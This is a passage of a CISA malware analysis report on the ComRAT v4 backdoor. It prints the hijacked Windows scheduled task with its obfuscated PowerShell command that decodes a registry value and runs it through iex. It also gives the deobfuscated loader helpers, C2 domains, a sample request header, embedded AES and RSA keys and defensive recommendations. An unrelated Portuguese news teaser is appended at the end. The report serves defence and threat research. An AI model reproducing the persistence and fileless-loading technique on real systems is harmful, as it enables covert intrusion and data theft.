   <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
   <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
   <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
   <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
   <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
</RegistrationInfo>
<Principals>
   <Principal id="WinSQMAccount">
    <UserId>S-1-5-18</UserId>
   </Principal>
</Principals>
<Settings>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <StartWhenAvailable>true</StartWhenAvailable>
   <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
</Settings>
<Triggers>
   <TimeTrigger>
    <StartBoundary>2004-01-02T00:00:00</StartBoundary>
    <Repetition>
       <Interval>PT6H</Interval>
    </Repetition>
   </TimeTrigger>
</Triggers>
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>%SystemRoot%\System32\wsqmcons.exe</Command>
   </Exec>
</Actions>
</Task>
—End Original Scheduled Task—

The scheduled task is then modified by this malicious PowerShell script. Displayed below is the modified scheduled task:

—Begin Modified Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="https://ift.tt/1erkgOo">
<RegistrationInfo>
   <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
   <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
   <Version>1.0</Version>
   <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
   <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
   <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
</RegistrationInfo>
<Triggers>
   <TimeTrigger>
    <Repetition>
       <Interval>PT6H</Interval>
       <StopAtDurationEnd>false</StopAtDurationEnd>
    </Repetition>
    <StartBoundary>2004-01-02T00:00:00</StartBoundary>
    <Enabled>true</Enabled>
   </TimeTrigger>
   <LogonTrigger>
    <Enabled>true</Enabled>
   </LogonTrigger>
</Triggers>
<Principals>
   <Principal id="WinSQMAccount">
    <RunLevel>LeastPrivilege</RunLevel>
    <UserId>SYSTEM</UserId>
   </Principal>
</Principals>
<Settings>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <AllowHardTerminate>true</AllowHardTerminate>
   <StartWhenAvailable>true</StartWhenAvailable>
   <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
   <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <AllowStartOnDemand>true</AllowStartOnDemand>
   <Enabled>true</Enabled>
   <Hidden>false</Hidden>
   <RunOnlyIfIdle>false</RunOnlyIfIdle>
   <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
   <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
   <WakeToRun>false</WakeToRun>
   <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
   <Priority>7</Priority>
</Settings>
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>cmd.exe</Command>
    <Arguments>/c "%SystemRoot%\System32\wsqmcons.exe &amp; PowerShell.exe -v 2 "$GS459ea = 'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::\"Fr`omBa`se6`4Str`ing\"((gp HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))|iex;
""</Arguments>
   </Exec>
</Actions>
</Task>
—End Modified Scheduled Task—

   The modification of the scheduled task illustrated below indicates the primary purpose of this task modification is to decode and execute a PowerShell script contained within the registry key HKLM:\SOFTWARE\Microsoft\SQMClient\Windows = WSqmCons:

—Begin Specific Scheduled Task Module—
<Actions Context="WinSQMAccount">
   <Exec>
    <Command>cmd.exe</Command>
    <Arguments>/c "%SystemRoot%\System32\wsqmcons.exe &amp; PowerShell.exe -v 2 "$GS459ea = 'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::\"Fr`omBa`se6`4Str`ing\"((gp HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))|iex;
""</Arguments>
—End Specific Scheduled Task Module—

This malicious script installs a PowerShell script (a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642) into the “WsqmCons” registry key. The primary purpose of the newly installed PowerShell is to decode and load a malicious DLL, identified as ComRat v4 (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316) onto the victim's system.

a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642

Tags

trojan

Details
Name Decode_PowerShell.ps1
Size 1264496 bytes
Type ASCII text, with very long lines, with CRLF, LF line terminators
MD5 0fd79f4c60593f6aae69ff22086c3bb0
SHA1 07f0692c856703d75a9946a0fbb3c0db03f7ac40
SHA256 a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
SHA512 28a0ae0a779aa88499f70cf97ef9db9482527017ea76ee2e469e4184684c4d4fb0559e50f1721e7e9d02655bee4cdf7b12c62a3d037ea10130121cfbb772e250
ssdeep 24576:jarQlVyeHtWdf7PyJjwLKWp57+7fb0TLaB7VrE:jD567vs1tm
Entropy 6.091278
Antivirus
Antiy GrayWare/PowerShell.Mimikatz.a
ClamAV Win.Trojan.PSempireInj-7013548-0
Microsoft Security Essentials Trojan:PowerShell/Powersploit.J
NANOAV Trojan.Script.ExpKit.eydujq
Symantec Hacktool.Mimikatz
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
a3170c32c0... Contained_Within 134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
a3170c32c0... Dropped 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
Description

This heavily encoded PowerShell script is installed by the malicious script “corrected.ps1” (134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8). It is designed to decode and load an embedded DLL which has been identified as a variant of the malware known as ComRat v4 “ComRATv4.exe (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316).

Removal of some of the PowerShell obfuscation reveals the functions illustrated below. These functions are used to decompress the embedded DLL, before it is loaded on the target system:

—Begin PowerShell Helper Functions—
   using System;
   using System.IO;
   using System.IO.Compression;

   public static class CD475bjf{
       public static void DBQ800fc(Stream input, Stream output){byte[] buffer = new byte[16 * 1024];
       int bytesRead;
       while((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0){
           output.Write(buffer, 0, bytesRead);
       }}}
   
   public static class MAE38aee{
   
       public static byte[] JZ653jdh(byte[] arrayToCompress){
           using (MemoryStream outStream = new MemoryStream()){using (GZipStream tinyStream = new GZipStream(outStream, CompressionMode.Compress))using (MemoryStream mStream = new MemoryStream(arrayToCompress))CD475bjf.DBQ800fc(mStream, tinyStream);
       return outStream.ToArray();
   }}
   
       public static byte[] PGN255ij(byte[] arrayToDecompress){        
           using (MemoryStream inStream = new MemoryStream(arrayToDecompress))using (GZipStream bigStream = new GZipStream(inStream, CompressionMode.Decompress))using (MemoryStream bigStreamOut = new MemoryStream()){CD475bjf.DBQ800fc(bigStream, bigStreamOut);
       return bigStreamOut.ToArray();
   }}}

#decode base64 above
$decompress = [Convert]::FromBase64String($decompressbase64);

#create another text object for use later
$NS70gea = New-Object System.Text.ASCIIEncoding;

#convert base64 decoded value to string
$decompress = $NS70gea.GetString($decompress,0,$decompress.Length);
—End PowerShell Helper Functions—

Figure 1 illustrates a part of the payload embedded within this malicious script. The encoded PowerShell script contains an embedded function named “Run”, that can load a DLL directly from memory and inject it into a remote process (Figure 2). The PowerShell script injects the embedded ComRAT DLL (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316) into the Windows Explorer process.

Screenshots
Figure 1 - Screenshot of the payload embedded within this malicious script.

Figure 1 - Screenshot of the payload embedded within this malicious script.

Figure 2 - Screenshot of the function used to load a DLL directly from memory and inject it into a remote process.

Figure 2 - Screenshot of the function used to load a DLL directly from memory and inject it into a remote process.

44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316

Tags

trojan

Details
Name ComRATv4.exe
Size 1827840 bytes
Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5 faaafa3e115033ba5115ed6a6ba59ba9
SHA1 ca16a95cd38707bad2dc524bb3086b3c0cb3e372
SHA256 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
SHA512 6f2fe02c1e15be2409f89ff1e6ae3c78f87e242ee448fe5ff6d375a74f10c7c6cc01f3f6d796aa34599a891e03c5d421d10f0c041e5a6dc0e346aea3ae21a935
ssdeep 49152:jTRjrgdOU9p1PZH/JNTFTJT5dwIwzQJH:PRCBNTBwAH
Entropy 6.463931
Antivirus
Ahnlab Trojan/Win64.Turla
ESET a variant of Win64/Turla.BX trojan
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2018-03-06 09:38:38-05:00
Import Hash d9d661a606c9d1c23b47672d1067de68
PE Sections
MD5 Name Raw Size Entropy
11525199e6e248e88e0529cf72a9002d header 1024 2.934959
0f3258519a92690d14406e141dcb285b .text 1027584 6.441800
fa4840dc4653443d4574486df39bc6a3 .rdata 481280 4.896843
ca22c78d526550925d7843a24cd1d266 .data 264704 7.368343
f7cc8fa49cfa87a125d8354082e162f3 .pdata 47104 6.030652
ef6fdd7440f36ba21373b4585a5c83e4 .rsrc 512 4.724729
4f16258cf938a4bc7fe0ae92121f442d .reloc 5632 5.425381
Relationships
44d6d67b53... Contains 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
44d6d67b53... Contains 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
44d6d67b53... Dropped_By a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
Description

This application is a 32-bit Windows DLL that has been identified as a module of ComRAT v4. The DLL is loaded into Windows Explorer (Explorer.exe) by a ComRAT PowerShell loader (a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642). When executed, it checks the victim's system day\time and it performs code execution between 9AM to 5PM Monday through Friday. During execution, it installs the following files into the %TEMP% folder:

--Begin files--
"%TEMP%\iecache.bin" ==> an AES-256-XTS encrypted VFS FAT16 format, containing the malware configuration and the logs files. (The encryption key is generated during runtime and stored in the Windows registry).
"%TEMP%\FSAPIDebugLogFile.txt
--End files--

The malware injects an embedded communication module (00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d or (166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405) into the victim system's default browser and executes it. This file and the communication module communicate with each other using a named pipe. The malware uses the named pipe to send HTTP requests and receive HTTP responses to and from the communication module for backdoor commands. It is designed to use the Gmail web interface to receive commands and exfiltrate data.

Illustrated below are sample data observed in the decrypted VFS in FAT16 format. Some of these files can be updated in the VFS using backdoor commands.

--Begin sample data in the VFS --
"/etc/pal/" contains a list of C2 domains: "bronerg.tk|crusider.tk|duke6.tk"
"/etc/gal.bin" contains a list of C2 domains: "sanitar.ml|wekanda.tk|branter.tk"
"/etc/pki/aes_key.pki" : Contains the Advanced Encryption Standard (AES) encryption keys for the C2 communications:

--Begin AES key--
4F8112E9E5AB5391C584D567B58E539F0400094A83EA0C2DDC7FA455FCF447B1
--End AES key--

"/etc/pki/public_cert.pki" contains the Rivest–Shamir–Adleman (RSA) encryption key used for the C2 communications:

--Begin RSA key--
BE51E00093CEB0A5FCAE59EB4EEEB3079D1CB17FC195321587CB513003826917B0BC13EB3B9A4209A4FFAF19C07249D360F447A6FAE3936612516A152619B800C4BE12FFF7077D7AF959ABBFD0A1BC06CD3B9D8DBC079307D79B78E4C7F114DE3B530DF40E40C14299D47CD6530A765B1F2717EAA66AD139B3F6728AFFFC5B6AB3E2B36FB062AD167E2B4450A295038A211E0A8E8BFE01FE338ACF883518099663E95B6266AB037224A32853002A47248012567455AC75939FDFC4018D86C2A6D72770887A8FE0678F5E7BC527FB4787D70923FC6909ACF8DC651F93B5E537ABF860B3262723FB2181E9132E381D892A8864BAB38687231B1E47C00BF10BC445010001
--End RSA key--

It uses the public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.
"/etc/mail/subj_dict" contains the the Subject "Re: |RE: |FW: |FWD: | Fw: | Fwd:| FYI: |FYIP |NRN: | NT: | N/T | n/t| NB |NM| n/m |N/M: |*n/m*"

"/etc/php_storage/GET/DEF/server.txt " and "/etc/php_storage/POST/DEF/server.txt" contains server IP "172.22.150.125".
--End sample data in the VFS --

Screenshots
Figure 3 - The first bytes of the decrypted VFS in FAT16 format.

Figure 3 - The first bytes of the decrypted VFS in FAT16 format.

Figure 4 - The decrypted VFS hierarchy, containing the malware configuration and the logs files.

Figure 4 - The decrypted VFS hierarchy, containing the malware configuration and the logs files.

00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d

Tags

backdoordownloaderloadertrojan

Details
Name Communication_module_32.dll
Size 61440 bytes
Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5 e509c3a40045d2dab9404240f3f201ed
SHA1 86f747cac3b16ed2dab6d9f72a347145ff7a850d
SHA256 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
SHA512 f78827b6fc258f4a63dd17fec2acb7114329a9d7fd426c72838f2e5e5c54c12fce7be7a0eb9c7e7e74b01fe80c42293ef89c3bcbafd230a68f9639e57f62bb6f
ssdeep 1536:zlAjaBOUFoD0C8YQ7aZS7C2kkAxWzg39xa3cdjrH++:zl2uOUG0CBQ7aZS7C3uzg39xEM
Entropy 5.338807
Antivirus
Antiy Trojan[Backdoor]/Win32.Turla
Avira TR/Crypt.XPACK.Gen3
ESET a variant of Win32/Turla.EO trojan
Ikarus Trojan-Downloader.Win32.Farfli
NANOAV Trojan.Win32.Turla.hlrzcr
Symantec Heur.AdvML.B
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2018-03-06 09:36:54-05:00
Import Hash 87ab41c57e95562a3e81f0609398b278
PE Sections
MD5 Name Raw Size Entropy
b9bd1636e8c11ff1ab2368771e89cfac header 4096 0.612975
077bf2412ba289da7b6261ffec65988d .text 49152 6.051754
1c95870051ff12b740487ff93d19ef3b .rdata 4096 0.317233
b86e403ac8c58a013fe4cda6b6715804 .reloc 4096 0.019202
Relationships
00352afc7e... Contained_Within 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
00352afc7e... Connected_To branter.tk
00352afc7e... Connected_To wekanda.tk
00352afc7e... Connected_To sanitar.ml
00352afc7e... Connected_To duke6.tk
00352afc7e... Connected_To bronerg.tk
00352afc7e... Connected_To crusider.tk
Description

This application is a 32-bit Windows DLL that has been identified as the communication module injected into the victim's system default browser by "ComRATv4.exe" (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316). It is designed to use the HTTP and a Gmail web interface for the C2. It attempts to connect to its C2 using secure connections.

--Begin list of domains--
bronerg.tk
crusider.tk
duke6.tk
sanitar.ml
wekanda.tk
branter.tk
--End list of domains--

Displayed below is sample request header:

--Begin header--
CONNECT bronerg[.]tk:443 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: bronerg.tk:443
Content-Length: 0
Connection: Keep-Alive
--End header--

bronerg.tk

Tags

command-and-control

Whois

Domain name:
    BRONERG.TK

Organisation:
    Freedom Registry, Inc.
    2225 East Bayshore Road #290
    Palo Alto CA 94303
    United States
    Phone: +1 650-681-4172
    Fax: +1 650-681-4173

Domain Nameservers:
    NS01.FREENOM.COM
    NS02.FREENOM.COM
    NS03.FREENOM.COM
    NS04.FREENOM.COM

Relationships
bronerg.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
bronerg.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
Description

ComRAT v4 C2 domain.

crusider.tk

Tags

command-and-control

Ports
  • 443 TCP
Whois

Domain name:
    CRUSIDER.TK

Organisation:
    Freedom Registry, Inc.
    2225 East Bayshore Road #290
    Palo Alto CA 94303
    United States
    Phone: +1 650-681-4172
    Fax: +1 650-681-4173

Domain Nameservers:
    NS01.FREENOM.COM
    NS02.FREENOM.COM
    NS03.FREENOM.COM
    NS04.FREENOM.COM

Relationships
crusider.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
crusider.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
Description

ComRAT v4 C2 domain.

duke6.tk

Tags

command-and-control

Whois

Domain name:
    DUKE6.TK

Organisation:
    Freedom Registry, Inc.
    2225 East Bayshore Road #290
    Palo Alto CA 94303
    United States
    Phone: +1 650-681-4172
    Fax: +1 650-681-4173

Domain Nameservers:
    NS01.FREENOM.COM
    NS02.FREENOM.COM
    NS03.FREENOM.COM
    NS04.FREENOM.COM

Relationships
duke6.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
Description

ComRAT v4 C2 domain.

sanitar.ml

Tags

command-and-control

Whois

Domain name:
    SANITAR.ML

Organisation:
    Freedom Registry, Inc.
    2225 East Bayshore Road #290
    Palo Alto CA 94303
    United States
    Phone: +1 650-681-4172
    Fax: +1 650-681-4173

Domain Nameservers:
    NS01.FREENOM.COM
    NS02.FREENOM.COM
    NS03.FREENOM.COM
    NS04.FREENOM.COM

Relationships
sanitar.ml Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
sanitar.ml Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
Description

ComRAT v4 C2 domain.

wekanda.tk

Tags

command-and-control

Whois

Domain name:
    WEKANDA.TK

Organisation:
    Freedom Registry, Inc.
    2225 East Bayshore Road #290
    Palo Alto CA 94303
    United States
    Phone: +1 650-681-4172
    Fax: +1 650-681-4173

Domain Nameservers:
    NS01.FREENOM.COM
    NS02.FREENOM.COM
    NS03.FREENOM.COM
    NS04.FREENOM.COM

Relationships
wekanda.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
wekanda.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
Description

ComRAT v4 C2 domain.

branter.tk

Tags

command-and-control

Ports
  • 443 TCP
Whois

No Whois record at the time of analysis.

Relationships
branter.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
branter.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
Description

ComRAT v4 C2 domain.

166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405

Tags

trojan

Details
Name Communication_module_64.dll
Size 64000 bytes
Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5 54902e33dd6d642bc5530de33b19e43c
SHA1 a06f0e29fca6eb29bf5334fb3b84a872172b0e28
SHA256 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
SHA512 28b8f63af33f4aebd2b5b582750036db718f657640aca649d4b2b95188661da3834398a56184ee08f64ddf1d32198e722be46dbfbc78e49e0d276fe6c5234b94
ssdeep 1536:p2JmzHKhyOjQuCLA/9zYgJS7aWSXEuT2XWZdjoEGbgqPU6Izj6N1o6OtAEBiUm5+:p2JmcjQuCLA/VYgJS7H21yXQdj5G0qMy
Entropy 5.939047
Antivirus
ESET a variant of Win64/Turla.CN trojan
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2018-03-06 09:37:48-05:00
Import Hash 87ab41c57e95562a3e81f0609398b278
PE Sections
MD5 Name Raw Size Entropy
199ab75383a70bd1148671ca1c689d0e header 1024 2.031353
46c52ca20a919c2314e32193eac9ec66 .text 60416 5.990363
a97e460909f791b5d0b571099a5b7b56 .rdata 1536 4.519592
c5ba9ad86e832155180da146aef6eabc .pdata 1024 3.061435
Relationships
166b1fb3d3... Contained_Within 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
166b1fb3d3... Connected_To bronerg.tk
166b1fb3d3... Connected_To crusider.tk
166b1fb3d3... Connected_To duke6.tk
166b1fb3d3... Connected_To sanitar.ml
166b1fb3d3... Connected_To wekanda.tk
166b1fb3d3... Connected_To branter.tk
Description

This application is a 64-bit Windows DLL that has been identified as the communication module injected into the victim's system default browser by "ComRATv4.exe" (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316). The DLL is similar to the 32-bit communication module (00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d).

Relationship Summary

1349191514... Contains a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
a3170c32c0... Contained_Within 134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
a3170c32c0... Dropped 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
44d6d67b53... Contains 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
44d6d67b53... Contains 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
44d6d67b53... Dropped_By a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
00352afc7e... Contained_Within 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
00352afc7e... Connected_To branter.tk
00352afc7e... Connected_To wekanda.tk
00352afc7e... Connected_To sanitar.ml
00352afc7e... Connected_To duke6.tk
00352afc7e... Connected_To bronerg.tk
00352afc7e... Connected_To crusider.tk
bronerg.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
bronerg.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
crusider.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
crusider.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
sanitar.ml Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
sanitar.ml Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
wekanda.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
wekanda.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
branter.tk Connected_From 00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
branter.tk Connected_From 166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
166b1fb3d3... Contained_Within 44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
166b1fb3d3... Connected_To bronerg.tk
166b1fb3d3... Connected_To crusider.tk
166b1fb3d3... Connected_To duke6.tk
166b1fb3d3... Connected_To sanitar.ml
166b1fb3d3... Connected_To wekanda.tk
166b1fb3d3... Connected_To branter.tk

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

 

This product is provided subject to this Notification and this Privacy & Use policy.



from CISA All NCAS Products https://ift.tt/3myA9hf

De deepfakes a SMS falsos: Golpes digitais explodem no Brasil, alerta relatório

Metade dos brasileiros sofreu algum tipo de golpe digital em 2024 , segundo relatório da empresa de segurança BioCatch publicado nesta se...